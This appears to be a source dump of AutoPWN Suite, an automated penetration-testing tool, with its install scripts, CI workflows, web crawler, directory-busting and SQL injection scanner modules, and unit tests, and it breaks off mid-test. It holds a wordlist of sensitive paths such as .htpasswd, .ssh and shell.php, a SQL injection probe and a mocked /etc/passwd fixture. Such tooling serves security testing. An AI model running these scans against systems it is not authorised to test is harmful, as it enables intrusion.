├── tests ├── __init__.py ├── unit │ ├── __init__.py │ ├── test_banners.py │ ├── test_logger.py │ ├── test_web_lfi.py │ ├── test_web_sqli.py │ ├── test_web_xss.py │ ├── test_web_webvuln.py │ ├── test_web_crawler.py │ ├── test_web_dirbust.py │ ├── test_searchvuln.py │ ├── test_nist_search.py │ ├── test_report.py │ ├── test_api.py │ ├── test_autopwn.py │ ├── test_getexploits.py │ └── test_scanner.py ├── integration │ └── __init__.py ├── test_setup_validation.py └── conftest.py ├── modules ├── __init__.py ├── web │ ├── __init__.py │ ├── dirbust.py │ ├── webvuln.py │ ├── crawler.py │ ├── sqli.py │ ├── xss.py │ └── lfi.py ├── data │ └── web_discovery.txt ├── random_user_agent.py ├── banners.py ├── logger.py ├── report.py ├── nist_search.py ├── searchvuln.py ├── getexploits.py ├── scanner.py └── daemon │ └── daemon_installer.py ├── requirements.txt ├── images ├── banner.png └── logo.png ├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md ├── workflows │ ├── poetry-tests.yml │ ├── tests.yml │ └── publish-docker.yml ├── CONTRIBUTING.md └── CODE_OF_CONDUCT.md ├── __init__.py ├── Dockerfile ├── .gitignore ├── SECURITY.md ├── uninstall.sh ├── install.sh ├── pyproject.toml ├── autopwn.py ├── LICENSE.md ├── api.py └── README.md /tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/unit/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /modules/web/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/integration/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | rich 3 | python-nmap 4 | bs4 5 | distro 6 | -------------------------------------------------------------------------------- /images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GamehunterKaan/AutoPWN-Suite/main/images/banner.png -------------------------------------------------------------------------------- /images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GamehunterKaan/AutoPWN-Suite/main/images/logo.png -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | patreon: gamehunterkaan 2 | custom: ['https://www.fiverr.com/users/kaangultekin/'] 3 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | 5 | sys.dont_write_bytecode = True 6 | sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) 7 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3-slim 2 | 3 | WORKDIR /app 4 | 5 | ARG DEBIAN_FRONTEND=noninteractive 6 | 7 | RUN apt-get -y update \ 8 | && apt-get -y install --no-install-recommends git nmap \ 9 | && git clone https://github.com/GamehunterKaan/AutoPWN-Suite.git . \ 10 | && pip install --no-cache-dir -r requirements.txt \ 11 | && apt-get purge -y --auto-remove git \ 12 | && apt-get -y clean all \ 13 | && rm -rf /var/lib/apt/lists/* 14 | 15 | ENTRYPOINT [ "python", "autopwn.py" ] 16 | -------------------------------------------------------------------------------- /tests/unit/test_banners.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the banners module. 3 | """ 4 | from unittest.mock import MagicMock, call 5 | 6 | import pytest 7 | from rich.panel import Panel 8 | 9 | from modules.banners import print_banner 10 | 11 | 12 | @pytest.mark.unit 13 | def test_print_banner(): 14 | """Verify that print_banner calls console.print.""" 15 | mock_console = MagicMock() 16 | print_banner(mock_console) 17 | 18 | # Check that print was called at least once with a Panel object 19 | assert mock_console.print.call_count > 0 20 | assert isinstance(mock_console.print.call_args[0][0], Panel) -------------------------------------------------------------------------------- /modules/data/web_discovery.txt: -------------------------------------------------------------------------------- 1 | admin 2 | admin.php 3 | api 4 | backdoor 5 | backup 6 | backups 7 | backup.tar.gz 8 | backup.zip 9 | .bash_history 10 | .bashrc 11 | bin 12 | cgi 13 | cgi-bin 14 | cmd 15 | credential 16 | credentials 17 | creds 18 | cron.php 19 | etc 20 | .ftp 21 | ftp 22 | .git/HEAD 23 | hidden 24 | .history 25 | .hta 26 | .htaccess 27 | .htpasswd 28 | install.php 29 | log 30 | logs 31 | ms-sql 32 | mysql 33 | .mysql_history 34 | password 35 | passwords 36 | postgresql 37 | pwd 38 | robots.txt 39 | samba 40 | sbin 41 | secret 42 | secrets 43 | shell 44 | shell.php 45 | sitemap.xml 46 | smb 47 | .ssh 48 | ssh 49 | test 50 | upload 51 | var 52 | voip 53 | vpn 54 | xmlrpc.php -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | api.txt 2 | lapi.txt 3 | hosts.txt 4 | autopwn.log 5 | autopwn.html 6 | autopwn.svg 7 | autopwn-daemon.conf 8 | .vscode/ 9 | exploits/ 10 | outputs/ 11 | __pycache__/ 12 | modules/__pycache__ 13 | modules/web/__pycache__ 14 | venv/* 15 | 16 | # Testing 17 | .pytest_cache/ 18 | .coverage 19 | htmlcov/ 20 | coverage.xml 21 | *.py[cod] 22 | *$py.class 23 | 24 | # Claude 25 | .claude/* 26 | 27 | # Virtual environments 28 | .env 29 | .venv 30 | env/ 31 | venv/ 32 | ENV/ 33 | env.bak/ 34 | venv.bak/ 35 | virtualenv/ 36 | 37 | # IDE 38 | .idea/ 39 | *.swp 40 | *.swo 41 | *~ 42 | .project 43 | .pydevproject 44 | 45 | # Build artifacts 46 | build/ 47 | dist/ 48 | *.egg-info/ 49 | .eggs/ 50 | *.egg 51 | 52 | # OS 53 | .DS_Store 54 | Thumbs.db 55 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. Kali Linux] 28 | - Version [e.g. 22] 29 | 30 | **Additional context** 31 | Add any other context about the problem here. 32 | -------------------------------------------------------------------------------- /.github/workflows/poetry-tests.yml: -------------------------------------------------------------------------------- 1 | name: Poetry Unit Tests 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | permissions: 10 | contents: read 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | 18 | - name: Set up Python 19 | uses: actions/setup-python@v4 20 | with: 21 | python-version: '3.11' 22 | 23 | - name: Install Poetry 24 | uses: snok/install-poetry@v1 25 | 26 | - name: Set up cache 27 | uses: actions/cache@v3 28 | with: 29 | path: .venv 30 | key: venv-${{ runner.os }}-${{ hashFiles('**/poetry.lock') }} 31 | 32 | - name: Install dependencies 33 | run: poetry install 34 | 35 | - name: Run tests 36 | run: poetry run test -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Reporting Vulnerabilities 4 | 5 | If you discover a security vulnerability in AutoPWN Suite, please report it responsibly to help keep the project and its users safe. Do **not** create a public issue for security concerns. Instead, follow these steps: 6 | 7 | 1. **Contact the Maintainer Privately:** 8 | Use GitHub's [private security advisory](https://github.com/GamehunterKaan/AutoPWN-Suite/security/advisories/new) feature. 9 | 10 | 2. **Include Details:** 11 | - Steps to reproduce the vulnerability 12 | - Potential impact 13 | - Any suggested fixes or mitigations 14 | 15 | 3. **Wait for Response:** 16 | The maintainer will review your report and respond as soon as possible. Please allow time for investigation and remediation. 17 | 18 | Your responsible disclosure is appreciated and helps improve the security of AutoPWN Suite for everyone. 19 | -------------------------------------------------------------------------------- /modules/random_user_agent.py: -------------------------------------------------------------------------------- 1 | from json import loads 2 | from os.path import dirname 3 | from random import choice, randint 4 | 5 | 6 | def random_user_agent(log) -> str: 7 | """ 8 | * Generate random user agent for headers. 9 | 10 | ? Returns the randomly generated user agent 11 | """ 12 | 13 | def fetch_data() -> list[str]: 14 | base_dir: str = dirname(__file__) 15 | 16 | user_agents: list[str] = [] 17 | 18 | try: 19 | with open( 20 | f"{base_dir}/data/user_agents.json", "r", encoding="utf-8" 21 | ) as data: 22 | for user_agent_ in data: 23 | user_agent_: dict[str, str] = loads(user_agent_) 24 | 25 | user_agents.append(user_agent_) 26 | except FileNotFoundError: 27 | log.logger("error", "User agent database not found.") 28 | raise SystemExit 29 | else: 30 | floor_: int = randint(1, 450) 31 | top_: int = randint(floor_ + 1, floor_ * 2) 32 | 33 | return user_agents[floor_:top_] 34 | 35 | yield choice(fetch_data())["user_agent"] 36 | -------------------------------------------------------------------------------- /.github/workflows/tests.yml: -------------------------------------------------------------------------------- 1 | name: Tests 2 | 3 | on: 4 | push: 5 | branches: [ "main", "dev" ] 6 | pull_request: 7 | branches: [ "main", "dev" ] 8 | 9 | permissions: 10 | contents: read 11 | 12 | jobs: 13 | Tests: 14 | 15 | runs-on: ${{ matrix.os }} 16 | strategy: 17 | matrix: 18 | os: [ubuntu-latest, macos-latest] 19 | 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python 3.10 23 | uses: actions/setup-python@v3 24 | with: 25 | python-version: "3.10" 26 | - name: Install dependencies 27 | run: | 28 | pip install -r requirements.txt 29 | - name: OS specific run 30 | uses: KnicKnic/os-specific-run@v1.0.4 31 | with: 32 | linux: | 33 | sudo apt-get update 34 | sudo apt-get install nmap -y 35 | macos: | 36 | bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 37 | brew install nmap 38 | - name: Import test 39 | run: python -c "import autopwn; import api" 40 | - name: Automatic test 41 | run: python autopwn.py -y -t 127.0.0.1 --no-color -------------------------------------------------------------------------------- /uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -euo pipefail 3 | 4 | TARGET_DIR="/opt/autopwn-suite" 5 | WRAPPER="/usr/local/bin/autopwn-suite" 6 | SERVICE_FILE="/etc/systemd/system/autopwn-daemon.service" 7 | SERVICE_NAME="autopwn-daemon.service" 8 | 9 | echo "[1/3] Checking for systemd service ..." 10 | if [ -f "$SERVICE_FILE" ]; then 11 | echo "Stopping and disabling $SERVICE_NAME ..." 12 | sudo systemctl stop "$SERVICE_NAME" || true 13 | sudo systemctl disable "$SERVICE_NAME" || true 14 | sudo rm -f "$SERVICE_FILE" 15 | sudo systemctl daemon-reload 16 | echo "Service $SERVICE_NAME removed." 17 | else 18 | echo "No systemd service file found at $SERVICE_FILE; skipping." 19 | fi 20 | 21 | echo "[2/3] Removing AutoPWN Suite directory $TARGET_DIR ..." 22 | if [ -d "$TARGET_DIR" ]; then 23 | sudo rm -rf "$TARGET_DIR" 24 | echo "Removed $TARGET_DIR" 25 | else 26 | echo "Directory $TARGET_DIR does not exist; skipping." 27 | fi 28 | 29 | echo "[3/3] Removing wrapper $WRAPPER ..." 30 | if [ -f "$WRAPPER" ]; then 31 | sudo rm -f "$WRAPPER" 32 | echo "Removed wrapper $WRAPPER" 33 | else 34 | echo "Wrapper $WRAPPER does not exist; skipping." 35 | fi 36 | 37 | echo "Uninstallation complete!" 38 | -------------------------------------------------------------------------------- /.github/workflows/publish-docker.yml: -------------------------------------------------------------------------------- 1 | name: Publish Docker Image 2 | 3 | on: 4 | release: 5 | types: [published] 6 | 7 | permissions: 8 | contents: read 9 | packages: write 10 | 11 | jobs: 12 | build-and-push: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: Checkout repository 16 | uses: actions/checkout@v3 17 | 18 | - name: Log in to Docker Hub 19 | uses: docker/login-action@v3 20 | with: 21 | username: ${{ secrets.DOCKERHUB_USERNAME }} 22 | password: ${{ secrets.DOCKERHUB_TOKEN }} 23 | 24 | - name: Extract metadata (tags, labels) for Docker 25 | id: meta 26 | uses: docker/metadata-action@v5 27 | with: 28 | images: ${{ secrets.DOCKERHUB_USERNAME }}/autopwn-suite 29 | tags: | 30 | type=semver,pattern={{version}} 31 | type=semver,pattern={{major}}.{{minor}} 32 | type=raw,value=latest,enable={{is_default_branch}} 33 | 34 | - name: Build and push Docker image 35 | uses: docker/build-push-action@v5 36 | with: 37 | context: . 38 | push: true 39 | tags: ${{ steps.meta.outputs.tags }} 40 | labels: ${{ steps.meta.outputs.labels }} -------------------------------------------------------------------------------- /modules/banners.py: -------------------------------------------------------------------------------- 1 | from rich.align import Align 2 | from rich.panel import Panel 3 | from rich.text import Text 4 | 5 | from modules.utils import get_terminal_width 6 | 7 | 8 | # https://patorjk.com/software/taag/ 9 | def print_banner(console) -> None: 10 | width = get_terminal_width() 11 | height = 8 12 | banner = r"""___ __ ____ _ __ _ __ _____ _ __ 13 | / | __ __ / /_ ____ / __ \| | / // | / / / ___/ __ __ (_)/ /_ ___ 14 | / /| | / / / // __// __ \ / /_/ /| | /| / // |/ / \__ \ / / / // // __// _ \ 15 | / ___ |/ /_/ // /_ / /_/ // ____/ | |/ |/ // /| / ___/ // /_/ // // /_ / __/ 16 | /_/ |_|\____/ \__/ \____//_/ |__/|__//_/ |_/ /____/ \____//_/ \__/ \___/ 17 | """ 18 | 19 | banner_small = rf"""╔═╗┬ ┬┌┬┐┌─┐╔═╗╦ ╦╔╗╔ ╔═╗┬ ┬┬┌┬┐┌─┐ 20 | ╠═╣│ │ │ │ │╠═╝║║║║║║ ╚═╗│ ││ │ ├┤ 21 | ╩ ╩└─┘ ┴ └─┘╩ ╚╩╝╝╚╝ ╚═╝└─┘┴ ┴ └─┘ 22 | """ 23 | 24 | if width < 90: 25 | banner = banner_small 26 | height = 5 27 | 28 | panel = Panel( 29 | Align( 30 | Text(banner, justify="center", style="blue"), 31 | vertical="middle", 32 | align="center", 33 | ), 34 | width=width, 35 | height=height, 36 | subtitle="by Kaan Gültekin @ kaangultekin.net", 37 | ) 38 | console.print(panel) 39 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -euo pipefail 3 | 4 | # Path setup 5 | REPO_DIR="$(cd "$(dirname "$0")" && pwd)" 6 | TARGET_DIR="/opt/autopwn-suite" 7 | VENV_DIR="$TARGET_DIR/.venv" 8 | WRAPPER="/usr/local/bin/autopwn-suite" 9 | 10 | echo "[1/4] Copying repo to $TARGET_DIR ..." 11 | sudo rm -rf "$TARGET_DIR" 12 | sudo mkdir -p "$TARGET_DIR" 13 | rsync -a --exclude='.venv' --exclude='/.git' "$REPO_DIR"/ "$TARGET_DIR"/ 14 | sudo chown -R "$USER":"$USER" "$TARGET_DIR" 15 | 16 | echo "[2/4] Creating virtual environment at $VENV_DIR ..." 17 | python3 -m venv "$VENV_DIR" 18 | 19 | echo "[3/4] Installing Python dependencies ..." 20 | source "$VENV_DIR/bin/activate" 21 | pip install --upgrade pip setuptools wheel 22 | if [ -f "$TARGET_DIR/requirements.txt" ]; then 23 | pip install -r "$TARGET_DIR/requirements.txt" 24 | fi 25 | deactivate 26 | 27 | echo "[4/4] Creating wrapper command at $WRAPPER ..." 28 | sudo tee "$WRAPPER" > /dev/null <&2 36 | exit 1 37 | fi 38 | 39 | exec "\$VENV_PY" "\$ENTRY" "\$@" 40 | EOF 41 | sudo chmod +x "$WRAPPER" 42 | 43 | echo "Installation complete!" 44 | echo "You can now run AutoPWN Suite simply with:" 45 | echo " autopwn-suite" 46 | echo "or as root:" 47 | echo " sudo autopwn-suite" 48 | -------------------------------------------------------------------------------- /modules/web/dirbust.py: -------------------------------------------------------------------------------- 1 | from os.path import dirname 2 | 3 | from modules.random_user_agent import random_user_agent 4 | from requests import get 5 | from requests import packages 6 | 7 | 8 | packages.urllib3.disable_warnings() 9 | 10 | def dirbust(target_url, console, log) -> None: 11 | if not target_url.endswith("/"): 12 | target_url += "/" 13 | 14 | curdir = dirname(__file__) 15 | dirs_db = f"{curdir}/../data/web_discovery.txt" 16 | 17 | try: 18 | with open(dirs_db, "r") as f: 19 | dirs = f.read().splitlines() 20 | except FileNotFoundError: 21 | log.logger("error", "Web discovery database not found.") 22 | return 23 | 24 | found_dirs = [target_url] 25 | 26 | for dir in dirs: 27 | test_url = f"{target_url}{dir}" 28 | if test_url in found_dirs: 29 | continue 30 | 31 | headers = {"User-Agent": next(random_user_agent(log))} 32 | 33 | try: 34 | req = get(test_url, headers=headers, verify=False) 35 | except Exception as e: 36 | log.logger("error", e) 37 | else: 38 | if req.status_code == 404: 39 | continue 40 | 41 | found_dirs.append(test_url) 42 | 43 | if req.is_redirect: 44 | console.print( 45 | f"[red][[/red][green]+[/green][red]][/red]" 46 | + f" [white]DIR :[/white] {test_url} -> {req.url}" 47 | ) 48 | else: 49 | console.print( 50 | f"[red][[/red][green]+[/green][red]][/red]" 51 | + f" [white]DIR :[/white] {test_url}" 52 | ) 53 | -------------------------------------------------------------------------------- /modules/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from rich.logging import RichHandler 4 | from rich.text import Text 5 | 6 | from modules.utils import get_terminal_width 7 | 8 | 9 | def banner(msg, color, console) -> None: 10 | term_width = get_terminal_width() 11 | 12 | console.print("─" * term_width, style=color) 13 | console.print(Text(msg), justify="center", style=color) 14 | console.print("─" * term_width, style=color) 15 | 16 | 17 | class Logger: 18 | """ 19 | Custom logger 20 | """ 21 | 22 | def __init__(self, console) -> None: 23 | logging.basicConfig( 24 | format="%(message)s", 25 | level=logging.INFO, 26 | datefmt="[%X]", 27 | handlers=[RichHandler(console=console)], 28 | ) 29 | 30 | RichHandler.KEYWORDS = ["[+]", "[-]", "[*]"] 31 | 32 | self.log: object = logging.getLogger("rich") 33 | 34 | def logger( 35 | self, 36 | exception_: str, 37 | message: str, 38 | ) -> None: 39 | """ 40 | * Log the proccesses with the passed message depending on the 41 | * exception_ variable 42 | 43 | @args 44 | exception_: str, determines what type of log level to use 45 | (1.) info 46 | (2.) error 47 | (3.) warning 48 | (4.) success 49 | message: str, message to be logged. 50 | 51 | ? Returns none. 52 | """ 53 | 54 | if exception_ == "info": 55 | self.log.info(f"[+] {message}") 56 | elif exception_ == "error": 57 | self.log.error(f"[-] {message}") 58 | elif exception_ == "warning": 59 | self.log.warning(f"[*] {message}") 60 | elif exception_ == "success": 61 | self.log.info(f"[+] {message}") 62 | -------------------------------------------------------------------------------- /modules/web/webvuln.py: -------------------------------------------------------------------------------- 1 | from modules.logger import banner 2 | from modules.random_user_agent import random_user_agent 3 | from modules.web.crawler import crawl 4 | from modules.web.dirbust import dirbust 5 | from modules.web.lfi import LFIScanner 6 | from modules.web.sqli import SQLIScanner 7 | from modules.web.xss import XSSScanner 8 | from requests import get 9 | from requests import packages 10 | 11 | 12 | packages.urllib3.disable_warnings() 13 | 14 | 15 | def webvuln(target, log, console) -> None: 16 | """ 17 | Test for web vulnerabilities 18 | """ 19 | 20 | LFI = LFIScanner(log, console) 21 | SQLI = SQLIScanner(log, console) 22 | XSS = XSSScanner(log, console) 23 | 24 | def get_url(target): 25 | """ 26 | Get the target url 27 | """ 28 | headers = {"User-Agent": next(random_user_agent(log))} 29 | url_ = [f"http://{target}/", f"https://{target}/"] 30 | for url in url_: 31 | try: 32 | get(url, headers=headers, timeout=10, verify=False) 33 | except Exception as e: 34 | continue 35 | else: 36 | return url 37 | return None 38 | 39 | target_url = get_url(target) 40 | 41 | if target_url is None: 42 | return 43 | 44 | urls = crawl(target_url, log) 45 | tested_urls, testable_urls = [], [] 46 | for url in urls: 47 | if "?" in url: 48 | testable_urls.append(url) 49 | 50 | log.logger("info", f"Found {len(testable_urls)} testable urls.") 51 | 52 | if len(testable_urls) == 0: 53 | return 54 | 55 | banner(f"Testing web application on {target} ...", "purple", console) 56 | 57 | dirbust(target_url, console, log) 58 | 59 | for url in testable_urls: 60 | LFI.test_lfi(url) 61 | SQLI.test_sqli(url) 62 | XSS.test_xss(url) 63 | tested_urls.append(url) 64 | -------------------------------------------------------------------------------- /modules/web/crawler.py: -------------------------------------------------------------------------------- 1 | from bs4 import BeautifulSoup 2 | from modules.random_user_agent import random_user_agent 3 | from requests import get 4 | from requests import packages 5 | 6 | 7 | packages.urllib3.disable_warnings() 8 | 9 | def crawl(target_url, log) -> set[str]: 10 | if not target_url.endswith("/"): 11 | target_url += "/" 12 | 13 | try: 14 | get(target_url, headers={"User-Agent": next(random_user_agent(log))}, verify=False) 15 | except ConnectionError: 16 | log.logger("error", f"Connection error raised.") 17 | return set() 18 | 19 | log.logger("info", f"Crawling web application at {target_url} ...") 20 | 21 | urls = link_finder(target_url, log) 22 | if len(urls) < 25: 23 | temp_urls = set() 24 | for url in urls: 25 | new_urls = link_finder(url, log) 26 | for new_url in new_urls: 27 | temp_urls.add(new_url) 28 | 29 | for url in temp_urls: 30 | urls.add(url) 31 | 32 | return urls 33 | 34 | 35 | def link_finder(target_url, log) -> set[str]: 36 | if not target_url.endswith("/"): 37 | target_url += "/" 38 | 39 | urls = set() 40 | 41 | reqs = get(target_url, headers={"User-Agent": next(random_user_agent(log))}, verify=False) 42 | soup = BeautifulSoup(reqs.text, "html.parser") 43 | for link in soup.find_all("a", href=True): 44 | url = link["href"] 45 | if url == None or url == "" or "#" in url: 46 | continue 47 | if not url.startswith("http"): 48 | if url.startswith("./"): 49 | url = f"{target_url}{url.lstrip('./')}" 50 | elif url.startswith("/"): 51 | url = f"{target_url}{url.lstrip('/')}" 52 | else: 53 | url = f"{target_url}{url}" 54 | 55 | if url not in urls: 56 | urls.add(url) 57 | else: 58 | if url.startswith(target_url): 59 | if url not in urls: 60 | urls.add(url) 61 | 62 | return urls 63 | -------------------------------------------------------------------------------- /tests/unit/test_logger.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the logger module. 3 | """ 4 | from unittest.mock import MagicMock, patch, call 5 | 6 | import pytest 7 | from rich.text import Text 8 | 9 | from modules.logger import Logger, banner 10 | 11 | 12 | @pytest.mark.unit 13 | class TestLogger: 14 | """Tests for the Logger class.""" 15 | 16 | @pytest.fixture 17 | def mock_console(self): 18 | """Fixture for a mocked Rich Console.""" 19 | return MagicMock() 20 | 21 | @patch("modules.logger.logging") 22 | def test_logger_init(self, mock_logging, mock_console): 23 | """Verify that the logger is initialized correctly.""" 24 | Logger(mock_console) 25 | mock_logging.basicConfig.assert_called_once() 26 | assert mock_logging.getLogger.called 27 | 28 | def test_log_levels(self, mock_console): 29 | """Test logging messages for all levels.""" 30 | logger_instance = Logger(mock_console) 31 | logger_instance.log = MagicMock() 32 | 33 | # Test info 34 | logger_instance.logger("info", "info message") 35 | logger_instance.log.info.assert_called_with("[+] info message") 36 | 37 | # Test error 38 | logger_instance.logger("error", "error message") 39 | logger_instance.log.error.assert_called_with("[-] error message") 40 | 41 | # Test warning 42 | logger_instance.logger("warning", "warning message") 43 | logger_instance.log.warning.assert_called_with("[*] warning message") 44 | 45 | # Test success (which maps to info) 46 | logger_instance.logger("success", "success message") 47 | logger_instance.log.info.assert_called_with("[+] success message") 48 | 49 | 50 | @pytest.mark.unit 51 | @patch("modules.logger.get_terminal_width", return_value=80) 52 | def test_banner(mock_width): 53 | """Test that the banner function prints correctly.""" 54 | mock_console = MagicMock() 55 | msg = "Test Banner" 56 | color = "green" 57 | 58 | banner(msg, color, mock_console) 59 | 60 | expected_calls = [ 61 | call("─" * 80, style=color), 62 | call(Text(msg), justify="center", style=color), 63 | call("─" * 80, style=color), 64 | ] 65 | mock_console.print.assert_has_calls(expected_calls) -------------------------------------------------------------------------------- /modules/web/sqli.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | from requests import packages 3 | 4 | 5 | packages.urllib3.disable_warnings() 6 | 7 | class SQLIScanner: 8 | def __init__(self, log, console) -> None: 9 | self.log = log 10 | self.console = console 11 | self.tested_urls = [] 12 | self.sqli_test = "'1" 13 | self.sql_dbms_errors = [ 14 | "sql syntax", 15 | "valid mysql result", 16 | "valid postgresql result", 17 | "sql server", 18 | "sybase message", 19 | "oracle error", 20 | "microsoft access driver", 21 | "you have an error", 22 | "corresponds to your", 23 | "syntax to use near", 24 | "sqlite.exception", 25 | ] 26 | 27 | def exploit_sqli(self, base_url, url_params) -> None: 28 | for param in url_params: 29 | param_no_value = param.split("=")[0] 30 | main_url = f"{base_url}?{param_no_value}" 31 | 32 | if not main_url in self.tested_urls: 33 | self.tested_urls.append(main_url) 34 | test_url = f"{main_url}={self.sqli_test}" 35 | else: 36 | continue 37 | 38 | try: 39 | response = get(test_url, verify=False) 40 | except ConnectionError: 41 | self.log.logger("error", f"Connection error raised on: {test_url}, skipping") 42 | return # Exit if we can't connect 43 | 44 | response_text_lower = response.text.lower() 45 | for error in self.sql_dbms_errors: 46 | if error in response_text_lower: 47 | self.console.print( 48 | f"[red][[/red][green]+[/green][red]][/red]" 49 | + f" [white]SQLI :[/white] {test_url}" 50 | ) 51 | return # Exit after finding the first vulnerability for this URL 52 | 53 | def test_sqli(self, url) -> None: 54 | """ 55 | Test for SQLI 56 | """ 57 | try: 58 | base_url, params = url.split("?")[0], url.split("?")[1] 59 | params_dict = params.split("&") 60 | self.exploit_sqli(base_url, params_dict) 61 | except ConnectionError: 62 | pass 63 | -------------------------------------------------------------------------------- /tests/unit/test_web_lfi.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the lfi module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.web.lfi import LFIScanner 10 | 11 | 12 | @pytest.mark.unit 13 | class TestLFIScanner: 14 | """Tests for the LFIScanner class.""" 15 | 16 | @pytest.fixture 17 | def mock_log_console(self): 18 | """Fixture for a mocked logger and console.""" 19 | return MagicMock(), MagicMock() 20 | 21 | @patch("modules.web.lfi.get") 22 | def test_lfi_vulnerability_found(self, mock_get, mock_log_console): 23 | """Verify that an LFI vulnerability is detected and printed.""" 24 | mock_log, mock_console = mock_log_console 25 | mock_response = MagicMock() 26 | # Simulate a response containing the content of /etc/passwd 27 | mock_response.text = "root:x:0:0:root:/root:/bin/bash" 28 | mock_get.return_value = mock_response 29 | 30 | lfi_tester = LFIScanner(mock_log, mock_console) 31 | test_url = "http://example.com/page?file=test.txt" 32 | lfi_tester.test_lfi(test_url) 33 | 34 | # Verify that a vulnerability was printed to the console 35 | mock_console.print.assert_called() 36 | assert "[white]LFI :[/white]" in mock_console.print.call_args[0][0] 37 | 38 | @patch("modules.web.lfi.get") 39 | def test_lfi_no_vulnerability(self, mock_get, mock_log_console): 40 | """Verify that no vulnerability is reported for a clean response.""" 41 | mock_log, mock_console = mock_log_console 42 | mock_response = MagicMock() 43 | # Simulate a normal response 44 | mock_response.text = "Hello, world!" 45 | mock_get.return_value = mock_response 46 | 47 | lfi_tester = LFIScanner(mock_log, mock_console) 48 | test_url = "http://example.com/page?file=test.txt" 49 | lfi_tester.test_lfi(test_url) 50 | 51 | # Verify that nothing was printed to the console 52 | mock_console.print.assert_not_called() 53 | 54 | # Patch the ConnectionError within the module where it's being caught. 55 | @patch("modules.web.lfi.ConnectionError", new=ConnectionError) 56 | @patch("modules.web.lfi.get", side_effect=ConnectionError) 57 | def test_lfi_connection_error(self, mock_get, mock_log_console): 58 | """Verify that a connection error is handled gracefully.""" 59 | mock_log, mock_console = mock_log_console 60 | 61 | lfi_tester = LFIScanner(mock_log, mock_console) 62 | test_url = "http://example.com/page?file=test.txt" 63 | lfi_tester.test_lfi(test_url) 64 | 65 | # Verify that the error was logged 66 | mock_log.logger.assert_called() 67 | assert "Connection error raised on" in mock_log.logger.call_args[0][1] -------------------------------------------------------------------------------- /tests/unit/test_web_sqli.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the sqli module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.web.sqli import SQLIScanner 10 | 11 | 12 | @pytest.mark.unit 13 | class TestSQLIScanner: 14 | """Tests for the SQLIScanner class.""" 15 | 16 | @pytest.fixture 17 | def mock_log_console(self): 18 | """Fixture for a mocked logger and console.""" 19 | return MagicMock(), MagicMock() 20 | 21 | @patch("modules.web.sqli.get") 22 | def test_sqli_vulnerability_found(self, mock_get, mock_log_console): 23 | """Verify that a SQLi vulnerability is detected and printed.""" 24 | mock_log, mock_console = mock_log_console 25 | mock_response = MagicMock() 26 | # Simulate a response containing a SQL error message 27 | mock_response.text = "Error: You have an error in your SQL syntax" 28 | mock_get.return_value = mock_response 29 | 30 | sqli_tester = SQLIScanner(mock_log, mock_console) 31 | test_url = "http://example.com/page?id=1&user=test" 32 | sqli_tester.test_sqli(test_url) 33 | 34 | # Verify that a 